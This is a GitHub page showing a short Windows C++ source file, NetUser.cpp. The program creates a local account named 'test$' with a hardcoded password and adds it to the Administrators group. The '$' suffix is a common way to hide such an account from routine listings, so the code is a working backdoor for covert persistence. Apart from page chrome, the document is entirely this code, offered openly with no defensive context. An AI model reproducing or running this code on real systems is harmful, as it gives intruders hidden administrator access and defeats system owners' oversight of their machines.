- Notifications
You must be signed in to change notification settings - Fork 91
Expand file tree
/
Copy pathNetUser.cpp
More file actions
Latest commit
36 lines (26 loc) · 788 Bytes
/
Copy pathNetUser.cpp
File metadata and controls
36 lines (26 loc) · 788 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include"stdafx.h"
#ifndef UNICODE
#defineUNICODE
#endif
#pragma comment(lib,"netapi32")
#include<stdio.h>
#include<windows.h>
#include<lm.h>
intwmain(int argc, wchar_t *argv[])
{
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;
UserInfo.usri1_name = L"test$"; // 账户
UserInfo.usri1_password = L"Test@#123"; // 密码
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = UserInfo.usri1_name;
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
return0;
}